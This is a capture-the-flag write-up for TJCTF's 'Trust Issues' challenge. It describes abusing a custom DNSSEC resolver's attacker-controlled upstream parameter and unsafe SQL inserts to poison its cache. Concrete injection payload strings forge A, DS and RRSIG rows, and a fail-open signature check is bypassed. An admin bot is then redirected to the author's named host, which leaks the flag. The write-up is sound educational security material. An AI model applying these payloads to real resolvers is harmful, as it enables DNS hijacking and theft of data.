webfreehard

Trust Issues

tjctf

Task: a custom DNSSEC resolver and admin bot had to be abused to redirect trust-issues.tjc.tf to an attacker host. Solution: poison the resolver cache through the upstream parameter and SQL injection, then bypass DNSSEC verification with a skipped fake RRSIG and capture the flag from the bot URL.

$ ls tags/ techniques/
resolver_cache_poisoningsql_injection_via_upstream_jsondnssec_verification_bypassadmin_bot_flag_exfiltration

Trust Issues — TJCTF

Challenge summary

This challenge looked cryptographic at first: the bundled nameserver used custom ECDSA signing on P-521 with algorithm 17, and the obvious first idea was to attack nonce generation. That path was a dead end for us.

The real solution was a web/logic chain in the DNS resolver. By poisoning its cache and exploiting a DNSSEC verification flaw, we made the admin bot resolve trust-issues.tjc.tf to our own HTTPS host and leak the flag in the URL.

Final captured flag:

tjctf{trust_n0_on3_ev3r}

Source review

Relevant files from trust-issues.zip:

  • admin-bot.js
  • dnsresolver/app.py
  • dnsresolver/dnssec.py
  • website/app.py
  • website/templates/index.html
  • nameserver/app.py

1. The admin bot already gives us the exfiltration primitive

admin-bot.js is the key to the whole challenge:

urlRegex: /^https:\/\/dnsresolver-[a-f0-9]*\.tjc\.tf\//, const response = await fetch(url + '?name=trust-issues.tjc.tf&type=A'); const json = await response.json(); const data = json.data; await page.goto('https://' + data + '?flag=' + flag, ...);

So the bot does three things:

  1. Accepts only a dnsresolver-*.tjc.tf URL.
  2. Fetches that resolver with ?name=trust-issues.tjc.tf&type=A.
  3. Takes json.data and browses to https://<data>?flag=<flag>.

That means we do not need XSS, cookie theft, or browser tricks. If we can make the resolver return our hostname, the bot sends us the flag directly.

2. The website reflects the flag from the query string

website/app.py and website/templates/index.html show that the site simply renders request.args.get("flag"):

return render_template('index.html', flag=request.args.get('flag', None))

and:

<p>{{ flag }}</p>

So the flag is intentionally transported via the URL parameter. Once the bot is redirected to our host, the flag arrives in the request line as:

https://our-host/?flag=tjctf{...}

Why the crypto path was a red herring for the actual solve

nameserver/app.py signs DNSSEC records with algorithm 17 on P-521 and uses:

k = secrets.randbits(512)

for ECDSA nonces. That is suspicious because the curve order is 521 bits, so an HNP/lattice attack looks tempting.

We spent time checking that angle, but the final solve did not require key recovery. The intended practical exploit was entirely in the resolver implementation.

Vulnerabilities in the resolver

1. Attacker-controlled upstream resolver

In dnsresolver/app.py:

globals()["UPSTREAM"] = request.args.get("upstream", "https://8.8.8.8/resolve")

So anyone can force the resolver to query an arbitrary upstream DoH-style endpoint.

2. SQL injection when caching upstream answers

Records from the upstream JSON response are inserted into SQLite with raw f-strings:

cursor.execute(f"INSERT INTO records VALUES ('{record['name']}', {record['type']}, {record['TTL']}, {expires}, '{record['data']}')")

and:

cursor.execute(f"INSERT INTO rrsigs VALUES ('{record['name']}', {rrtype}, {int(parts[1])}, {int(parts[2])}, {int(parts[3])}, {int(parts[5])}, {int(parts[4])}, {int(parts[6])}, '{parts[7]}', '{parts[8]}', {expires})")

Because record['name'] and record['data'] come from attacker-controlled upstream JSON, we can inject additional rows into the resolver cache.

3. Broken DNSSEC verification logic

The most important bug is in verify_cached_rrset():

for sig_row in rrsigs: rrsig = parse_rrsig(sig_row) signing_key = find_signing_key(rrsig, dnskeys) if not signing_key: continue valid = verify_rrset(rrset, rrsig, signing_key["public_key_b64"]) if not valid: return False return True

If every cached RRSIG is skipped because find_signing_key() cannot match its keytag/algorithm pair to any DNSKEY, the loop finishes and the function still returns True.

So a cache entry can pass “validation” with zero successfully verified signatures.

Exploit strategy

We chained the bugs like this:

  1. Submit a real resolver instance URL to the bot.
  2. Use the resolver's upstream parameter to make it query our malicious upstream server.
  3. Return JSON that triggers SQL injection inside the resolver cache.
  4. Insert three important cache rows for trust-issues.tjc.tf.:
    • a fake A record pointing to ctf-server-wrkt.krbot.ru
    • a fake DS record so DNSKEY validation still succeeds
    • a fake RRSIG row with a bogus keytag so signature verification is skipped
  5. Wait for legitimate cached records (TTL 300) to expire on a fresh instance.
  6. Let the bot query the poisoned resolver.
  7. The bot visits our HTTPS host and sends ?flag=tjctf{trust_n0_on3_ev3r}.

Step-by-step exploitation

Step 1. Use a fresh resolver instance

The instance that finally worked was:

https://dnsresolver-9085aee3e153b17e.tjc.tf/

This mattered because legitimate trust-issues.tjc.tf. answers were cached with TTL 300. We wanted a fresh instance so we could control the cache state and then wait for real rows to expire.

Step 2. Host a malicious upstream and final capture server

We controlled:

  • hostname: ctf-server-wrkt.krbot.ru
  • server IP: 81.31.246.130

The same server did two jobs:

  1. served /resolve as the malicious upstream endpoint for the vulnerable resolver;
  2. served / over valid HTTPS to receive the bot request with ?flag=....

Using a valid certificate was necessary because the bot opens https:// + returned hostname.

Step 3. Poison the cache through SQL injection

Our malicious /resolve response injected cache rows. The final payload logic looked like this:

rec_inject = ( "x', 1, 0, 0, 'x'), " "('trust-issues.tjc.tf.', 1, 999999, 9999999999, 'ctf-server-wrkt.krbot.ru'), " "('trust-issues.tjc.tf.', 43, 999999, 9999999999, " "'23904 17 2 00FD0C11FB05F834ED8899546ABB2D657AAD7A1CEC0FEBB3BE157EF8272B254F'), " "('trust-issues.tjc.tf." ) rrsig_inject = ( "x', 1, 17, 3, 300, 0, 9999999999, 99999, " "'trust-issues.tjc.tf.', 'AAAA', 9999999999), " "('trust-issues.tjc.tf." )

This created poisoned rows for:

  • A trust-issues.tjc.tf. -> ctf-server-wrkt.krbot.ru
  • DS trust-issues.tjc.tf. -> 23904 17 2 00FD0C11FB05F834ED8899546ABB2D657AAD7A1CEC0FEBB3BE157EF8272B254F
  • RRSIG with bogus keytag 99999

The fake DS row was important because validate_dnskeys() still checks that the cached DNSKEY set matches a cached DS record.

Step 4. Abuse the skipped-signature bug

When the resolver later validated the poisoned A RRset, it loaded cached DNSKEY records for trust-issues.tjc.tf. and tried to match them against cached RRSIG rows.

Our fake RRSIG used a bogus keytag, so find_signing_key() returned None. Instead of failing, the code simply did continue. If all signatures are skipped like that, verify_cached_rrset() returns True.

That let the fake A record survive DNSSEC validation without any real signature check.

Step 5. Wait out the legitimate cache

The authoritative nameserver used TTL 300 for real records. In practice, the clean solution was:

  1. poison a fresh resolver instance;
  2. wait about five minutes for legitimate cached entries to expire;
  3. query again so only the poisoned data remained effective.

Without this timing step, the resolver could still return the legitimate IP.

Step 6. Submit the poisoned resolver to the bot

Once the cache was in the right state, the bot performed its normal flow:

  1. fetch("https://dnsresolver-9085aee3e153b17e.tjc.tf/?name=trust-issues.tjc.tf&type=A")
  2. read json.data
  3. browse to https://ctf-server-wrkt.krbot.ru/?flag=tjctf{trust_n0_on3_ev3r}

Our HTTPS server logged the incoming request and exposed the flag directly.

Final capture

The final exfiltration request was:

https://ctf-server-wrkt.krbot.ru/?flag=tjctf{trust_n0_on3_ev3r}

That confirmed the whole chain worked end-to-end:

  • malicious upstream control
  • SQL injection into resolver cache
  • fake DS preservation
  • skipped RRSIG verification
  • resolver answer poisoning
  • admin bot redirect to attacker host

Takeaways

  • A challenge can look cryptographic while the actual exploit is application logic.
  • DNSSEC verification must fail closed: “no matching signing key” should never count as success.
  • Any resolver that ingests upstream JSON and inserts it into SQL with f-strings is effectively giving remote cache write access.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups